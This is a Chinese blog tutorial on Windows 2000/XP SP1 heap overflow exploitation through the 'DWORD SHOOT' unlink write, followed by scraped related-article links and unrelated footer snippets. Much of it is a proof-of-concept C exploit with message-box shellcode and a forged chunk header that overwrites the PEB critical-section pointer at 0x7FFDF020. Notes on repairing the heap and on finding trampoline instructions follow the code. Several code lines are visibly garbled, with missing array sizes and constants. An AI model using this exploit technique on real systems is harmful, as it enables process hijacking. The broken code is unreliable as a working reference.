堆块分配时的任意地址写入攻击原理

堆管理系统的三类操作:分配、释放、合并,归根到底都是对堆块链表的修改。如果能伪造链表结点的指针,那么在链表装卸的过程中就有可能获得读写内存的机会。堆溢出利用的精髓就是用精心构造的数据去溢出下一个堆块的块首,改写块首中的前向指针 Flink 和后向指针 Blink,然后在分配、释放、合并操作发生时获得一次读写内存的机会。

这种利用内存读写机会在任意位置写入任意数据的做法在原书中称为“DWORD SHOT”,在其它文献中叫做“Arbitrary DWORD Reset”。攻击之后,可以劫持进程、运行 Shellcode。

将一个节点从堆块链表中卸下(分配堆块时)的过程可以用如下代码表示:

int remove (ListNode * node)
{
node -> blink -> flink = node -> flink; // 堆溢出攻击利用点
node -> flink -> blink = node -> blink;
return ;
}

当堆溢出发生时,攻击者可以覆盖下一个堆块的块首(是不是意味着堆块必须在物理内存中连续?),攻击者伪造被覆盖的堆块的前向指针 Flink 和后向指针 Blink。当被覆盖的堆块被管理系统从堆块链表中卸下时,会执行 node -> blink -> flink = node -> flink 过程,这会导致伪造的 Flink 指针值被写入伪造的 Blink 所指的地址,从而发生任意地址写入攻击。

实际上,除了堆块的分配外,堆块释放(装入链表)、堆块合并时都涉及链表操作,所以都能引发 DWORD SHOOT 攻击。

快表也可以被用来伪造 DWORD SHOOT。

堆溢出攻击的代码植入原理

堆溢出的精髓是获得一个 DWORD SHOOT 机会,所以堆溢出利用的精髓就是 DWORD SHOOT 的利用。与栈溢出时地毯式攻击不同,堆溢出攻击更加精准,往往要直接狙击目标。精准是 DWORD SHOOT 的优点,但火力不足也会限制堆溢出的利用。

对于 Windows XP SP1 之前的 Windows 系统,DWORD SHOOT 的攻击目标可以分为以下几类:

1. 内存变量:修改能够影响程序执行的重要标志变量。对于之前溢出修改邻接变量的试验,DWORD SHOOT 比栈溢出攻击强大得多,因为栈溢出时要求溢出数据连续。

2. 代码逻辑:修改代码段重要函数的关键逻辑,如分支判断逻辑,或者将身份验证函数的调用指令改成 nop 来爆破。

3. 函数返回地址:DWORD SHOOT 也能像栈溢出一样修改函数返回地址来劫持进程。但由于栈帧移位的原因,堆溢出在这种攻击中局限较多。

4. 攻击异常处理机制:当程序异常时,系统会转入异常处理,因此异常处理所使用的重要数据结构往往会成为 DWORD SHOOT 的重要目标。主要包括:

S.E.H        Structured Exception Handler,结构化异常处理
F.V.E.H First Vectored Exception Handler
P.E.B Process Environment Block
U.E.F Unhandled Exception Filter
T.E.B Thread Environment Block 中存入的第一个 S.E.H 指针

5. 函数指针:系统调用动态链接库中的函数、C++ 中的虚函数等用到了函数指针,另外如果软件的开发方式中使用了函数指针,那么修改这些指针能够劫持进程。

6. P.E.B 中的线程同步函数的入口地址:每个进程的 P.E.B 中都存放着一对同步函数指针,指向 RtlEnterCriticalSection() 和 RtlLeaveCriticalSection(),并且在进程退出时会被 ExitProcess() 调用。如果 DWORD SHOOT 能修改这对指针中的其中一个,那么退出时 ExitProcess() 将会调用 Shellcode。由于 P.E.B 的位置始终不会变化,这对指针在 P.E.B 中的偏移也始终不变,这使得利用堆溢出开发适用于不同 OS 和补丁版本的 exploit 成为可能。静止的鞭子比活动的靶子好打得多,所以这种方法成为了 Windows 下堆溢出攻击最经典的方法之一。

溢出 P.E.B 中的 RtlEnterCriticalSection() 函数指针

Windows 使用了锁机制、信号量(Semaphore)、临界区(Critical Section)等措施来同步进程中的多个线程。当进程退出时,ExitProcess() 函数需要做很多善后工作,其中必然乃至临界区函数 RtlEnterCriticalSection() 和 RtlLeaveCriticalSection() 来同步线程防止产生“脏数据”。

ExitProcess() 调用临界区函数的方法比较独特,是通过进程环境块 P.E.B偏移 0x20 处存放的函数指针来间接完成的:0x7FFDF020 处存放着指向 RtlEnterCriticalSection() 的指针,0x7FFDF024 处存放着指向 RtlLeaveCriticalSection() 的指针。但从 Windows 2003 Server 开始,MS 已经修改了这个实现。

现在将 0x7FFDF024 处的 RtlEnterCriticalSection() 函数指针作为目标,利用 DWORD SHOOT 进行攻击(实验环境与上一节堆溢出介绍相同):

 #include<windows.h>
char shellcode[];
int main()
{
HLOCAL h1=,h2=;
HANDLE hp;
int i=;
while(i<)shellcode[i++]='\x90'; //init shellcode
hp=HeapCreate(,0x1000,0x10000);
__asm int
h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,);
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,);
return ;
}

调试以上代码可以看到覆盖成功,但 DWORD SHOOT 会将 0x90909090 写入 0x90909090 导致异常。现将以上代码调整如下:

 #include<windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90" // nop
"\x90\x90\x90\x90\x90" // nop
// repaire the pointer which shooted by heap shooting
"\xb8\x20\xf0\xfd\x7f" // mov eax,7ffdf020
"\xbb\x03\x91\xf8\x77" // mov ebx,77F89103 this addr may related to OS patch version
"\x89\x18" // mov dword ptr ds:[eax],ebx
// 168 bytes popwindow shellcode
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75"
"\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
"\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
"\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53"
"\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90" // nop
"\x90\x90\x90\x90\x90" // nop
"\x16\x01\x1A\x00\x00\x10\x00\x00" // head of the ajacent free block
"\x88\x06\x52\x00\x20\xf0\xfd\x7f"; void print_shellcode()
{
int i=-;
while(++i<){
if(i%==)printf("\n%d : ",i/);
printf("%02x ",(unsigned char)shellcode[i]);
}
} int main()
{
HLOCAL h1=,h2=;
HANDLE hp=HeapCreate(,0x1000,0x10000);
//print_shellcode();return 0;
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,);
memcpy(h1,shellcode,0x200);
//_asm int 3;
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,);
return ;
}

以上堆溢出的示例代码中:

1. Shellcode 取自前篇中 168 字节的通用弹窗功能代码。Shellcode 的起始地址 0x00520688 是通过调试确定的。

2. 因为 h1 的数据区大小为 200 字节,所以 Shellcode 溢出 hp 堆块之前的操作码长度刚好要与 h1 的数据区大小相同;另外 Shellcode 中第 201~208 字节直接恢复堆块 hp 的块首,以防止 DWORD SHOOT 之前产生异常。

3. 溢出邻接堆块,覆盖其前向指针为 Shellcode 的起始地址 0x00520688,覆盖其后向指针为 P.E.B 中 RtlEnterCriticalSection() 函数指针的存储地址 0x7FFDF020

4. 注意到 P.E.B 里被修改的函数指针不光会被 ExitProcess() 调用,Shellcode 也会调用 ExitProcess() 而间接调用假的 RtlEnterCriticalSection(),所以 Shellcode 执行后需要修复被 DWORD SHOOT 改写的 P.E.B 函数指针(经调试,试验用的 Windows 2000 VM 中 RtlEnterCriticalSection() 的地址为 0x77F89103)。

5. Shellcode 开头需要预留至少 8 字节的 nop,以免 Shellcode 被指针反射破坏(实验时没有想到指针反射,折腾了好久)。

堆溢出需要注意的问题

1. 避免在调试态下调试 Shellcode。本例中使用 int 3 中断来调试 Shellcode。实际中不一定能修改程序,这时可以修改用于检测调试器的函数返回值,在调试异常处理机制时经常会用这种方法。

2. 劫持进程后需要修复被破坏的 P.E.B 函数指针,否则会遇到很多异常。大多数堆溢出中都要做一些修复工作。Shellcode 的第一条指令 CDF 就是修复 DF 标志的,如果不修复,ESI 在 LOADS 后将从默认自增变为默认自减,从而在装入函数名 hash 时发生错误。在堆溢出中,还需要修复被改乱了的堆区,简单的修复堆区的方法为:

. 在堆区中偏移 0x28 处存放着堆区所有空闲块的总和 TotalFreeSize。
. 将一个较大块(或直接找到暂时不用的区域伪造一个块首)块首中标识自身大小的位置设置成 TotalFreeSize。
. 将这个块的 Flag 设置成 0x10(Last Entry 尾块)。
. 将 Freelist[] 的 Flink 和 Blink 都指向这个块。
这样堆区看起来就像刚初始完只有一个尾块的状态,不但可以继续完成分配工作,还保护了堆中已有的数据。

3. 定位 Shellcode 的跳板。实际中堆的地址不固定,不可能像示例中一样事先确定 Shellcode 的地址。和栈溢出一样,经常也会有寄存器指向堆区离 Shellcode 不远的地方。David Litchfield 在 Black Hat 上演讲中就指出利用 U.E.F 时可以使用几种指令作为踏板定位 Shellcode。这些指令一般在 netapi32.dll、user32.dll、rpcrt4.dll 中有很多,如 (call dword ptr [edi+0x78])、(call dword ptr [esi+0x4c]、(call dword ptr [ebp+0x74])。

4. DWORD SHOOT 后的指针反射

DWORD SHOOT 发生在执行如下过程的时候:node -> blink -> flink = node -> flink,但随后会执行 node -> flink -> blink = node -> blink,后者也会导致 DWORD SHOOT,其结果是目标地址被写回 Shellcode 起始地址偏移 4 字节的位置,造成指针反射,将破坏 4 字节的 Shellcode,这会给没用跳板直接劫持进程的 Shellcode 造成很多限制,本实验中被破坏的位置原先是 nop,破坏之后的指令被 CPU 忽略,没有造成异常。

堆溢出博大精深,继续积累吧!

OD: Heap Exploit : DWORD Shooting & Opcode Injecting的更多相关文章

  1. OD: Heap Overflow (XP SP2 - 2003) & DWORD SHOOT via Chunk Resize

    微软在堆中也增加了一些安全校验操作,使得原本是不容易的堆溢出变得困难重重: * PEB Random:在 Windows XP SP2 之后,微软不再使用固定的 PEB 基址 0x7FFDF000,而 ...

  2. OD: Heap in Windows 2K & XP SP1

    Windows 堆溢出 MS 没有完全公开 Windows 的堆管理细节,目前对 Windows 堆的了解主要基于技术狂热者.黑客.安全专家.逆向工程师等的个人研究成果. 目前 Windows NT4 ...

  3. OD: Shellcode / Exploit & DLL Trampolining

    看到第五章了. 标题中 Dll Tramplining(跳板)名字是从如下地址找到的,写的很好: http://en.wikipedia.org/wiki/Buffer_overflow#The_ju ...

  4. OD: Kernel Exploit - 2 Programming

    本节接前方,对 exploitme.sys 进行利用. exploitme.sys 存在任意地址写任意内容的内核漏洞,现在采用执行 Ring0 Shellcode 的方式进行利用. 获取 HalDis ...

  5. OD: Kernel Exploit - 1

    第 22 章,内核漏洞利用技术 首先编写具有漏洞的驱动 exploitme.sys,再展开内核漏洞利用思路和方法: /***************************************** ...

  6. heap exploit about ptmalloc in glibc version 2.31

    学习的一下高版本的libc的利用方式. 项目地址:https://github.com/StarCross-Tech/heap_exploit_2.31 tcache_dup 源代码: 1 #incl ...

  7. PE文件格式偏移参考

    在进行PE文件格式病毒分析的时候,经常要使用到PE文件格式的解析,尤其是对LoadPE形式的病毒的分析,经常要查看PE文件格式的偏移,特地从博客<PE文件格式的偏移参考>中转载收录一份,之 ...

  8. OD: Memory Attach Technology - Off by One, Virtual Function in C++ & Heap Spray

    Off by One 根据 Halvar Flake 在“Third Generation Exploitation”中的描述,漏洞利用技术依攻击难度从小到大分为三类: . 基础的栈溢出利用,可以利用 ...

  9. OD: Exploit Me - Overwrite Return Address

    修改邻接变量的方法对代码环境限制比较多,更通用.更强大的方法是修改 EBP.返回地址等状态值. 为了方便调试,修改之前的代码如下: #include<stdio.h> #include&l ...

随机推荐

  1. JQuery EasyUI 对话框的使用方法

    下面看一下EasyUI的对话框效果图 js代码: 复制代码代码如下: <script language="javascript" type="text/javasc ...

  2. nodejs概论

    我将在此写下自己读<Node.js开发指南>一书的笔记,以便于以后的学习. 一.什么是node.js Node.js 是一个让 JavaScript 运行在浏览器之外的平台. Node.j ...

  3. void *memmove( void* dest, const void* src, size_t count );数据拷贝,不需要CPU帮助

    分享到 腾讯微博 QQ空间 新浪微博 人人网 朋友网 memmove 编辑词条 编辑词条 -->   memmove用于从src拷贝count个字符到dest,如果目标区域和源区域有重叠的话,m ...

  4. ubuntu自动挂载windows分区和开机自动启动wallproxy

    1. 自动挂载windows分区 ubuntu默认是要点一下相应的盘符才会挂载windows分区的. 今天发现了ubuntu下最简单的自动挂载windows分区的办法.... :) 参考如下方法:ht ...

  5. jQuery中的$("#my_id").html()中一点要注意的

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAXcAAAA3CAIAAAB4jZ1xAAAJdUlEQVR4nO2dPU/rPBTHn2/VoVMrXZ

  6. css3 animation 动画属性简介

    animation 动画属性介绍 animation 属性是一个简写属性,用于设置动画属性: 1. animation-name----规定需要绑定到选择器的 keyframe 名称. 语法:anim ...

  7. Hibernate数据库对象的创建与导出

    Hibernate 与数据库的关系是ORM关系,对象映射数据库. 那么如何通过对象对数据库进行各种对象的ddl与dml操作呢? 数据库对象操作的〈database-object /〉+ SchemaE ...

  8. Dom4j修改xml文档

    1. 写出内容到xml文档 XMLWriter writer = new XMLWriter(OutputStream, OutputForamt) wirter.write(Document); 2 ...

  9. 可选头 IMAGE_OPTIONAL_HEADER

    //IMAGE_OPTIONAL_HEADER结构(可选映像头) typedef struct _IMAGE_OPTIONAL_HEADER { // // Standard fields. // W ...

  10. IE6\ IE7、IE8\9\10和Firefox的hack方式

    #test{color:red;color:red !important;/ Firefox.IE7支持 */_color:red; / IE6支持 */*color:red; / IE6.IE7支持 ...